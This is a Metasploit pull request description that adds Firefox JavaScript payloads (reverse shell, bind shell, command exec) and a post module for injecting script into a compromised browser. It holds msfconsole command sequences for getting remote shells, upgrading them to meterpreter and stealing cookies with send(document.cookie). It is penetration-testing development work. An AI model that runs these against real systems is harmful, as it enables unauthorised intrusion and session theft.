rapid7/metasploit-framework — pull request #2827 by jvennix-r7 (2014-01-05 17:27:09+00:00)
Title: Add firefox js xpcom payloads for universal ff shells

Adds firefox xpcom payloads and reworks firefox_xpi_bootstrapped_addon and exploit/multi/browser/firefox_proto_crmfrequest modules to include it. I had to add FIREFOX as an arch and platform, which is a little weird. The javascript shell enables a disk-less shell session inside the firefox process. If you deliver the shell via an addon, the addon source will of course be on the disk. Using javascript as the DefaultTarget means that these XCS exploits can work well with browser autopwn.

The following payloads are added:
- firefox/shell_reverse_tcp
- firefox/shell_bind_tcp
- firefox/exec

The following post module:
- post/firefox/gather/xss

This PR also removes the Java target from firefox_addon_generator, since it hasn't worked for a while (tested the original implementation on 10+). The API has changed, and firefox now disables java by default. While it is still possible to (with Chrome privileges) inject an ``, click the Allow and Run buttons manually, the code needs to be written and tested across versions (css selectors of the buttons may have changed, etc).

#### Verification steps

- [ ] Specs pass

#### `exploit/multi/browser/firefox_xpi_bootstrapped_addon`

IMPORTANT note: after you are done testing a single browser instance, press cmd-shift-a or ctrl-shift-a to enter the AddonsManager.

- [ ] `msf> use exploit/multi/browser/firefox_xpi_bootstrapped_addon`
- [ ] `set TARGET 0` `set PAYLOAD firefox/shell_reverse_tcp` `set LHOST [LOCAL-IP]` `set LPORT 4444`
- [ ] Ensure you can get a working shell against a windows box
- [ ] Ensure you can eventually upgrade the shell to meterpreter (don't forget to kill the handler first): `kill 0` `sessions -u 1`
- [ ] You should not see the command prompt pop up while the cmdstager is running
- [ ] Ensure you can get a working shell against a posix box
- [ ] `set TARGET 0` and `set PAYLOAD firefox/shell_bind_tcp` `set RHOST [IP-OF-VM]` `set LPORT 5555`
- [ ] Ensure you can get a working shell against a windows box
- [ ] Ensure you can get a working shell against a posix box

#### `exploit/multi/browser/firefox_proto_crmfrequest`

IMPORTANT note: firefox must be restarted between runs for this exploit to work.

- [ ] Install some version of firefox between 5.0 and 15.0.1
- [ ] `msf> use exploit/multi/browser/firefox_proto_crmfrequest`
- [ ] `set TARGET 1` `set PAYLOAD windows/shell_reverse_tcp` `set LHOST [LOCAL-IP]` `set LPORT 4444`
- [ ] Ensure you can get a working shell against a windows box
- [ ] `set TARGET 4` `set PAYLOAD linux/x86/shell_reverse_tcp` `set LHOST [LOCAL-IP]` `set LPORT 4444`
- [ ] Ensure you can get a working shell against a linux box
- [ ] `set TARGET 0` `set PAYLOAD firefox/shell_reverse_tcp` `set LHOST [LOCAL-IP]` `set LPORT 4444`
- [ ] Ensure you can get a working shell against a windows or posix box
- [ ] `set PAYLOAD firefox/exec` `set CMD echo "JOE" > /Users/joe/Desktop/a.txt`
- [ ] Ensure `/Users/joe/Desktop/a.txt` exists and contains `JOE` on a posix system
- [ ] Repeat exec but on a windows system: `set CMD calc` and verify calc appears

#### `post/firefox/gather/xss`

- [ ] `msf> use post/firefox/gather/xss`
- [ ] Visit http://metasploit.com in the shelled browser
- [ ] `set SESSION 1` `set URL http://metasploit.com` `set SCRIPT send(document.cookie)`
- [ ] It should echo your cookie

### Todo
- convert `exploit/multi/browser/firefox_svg_plugin` to use javascript payloads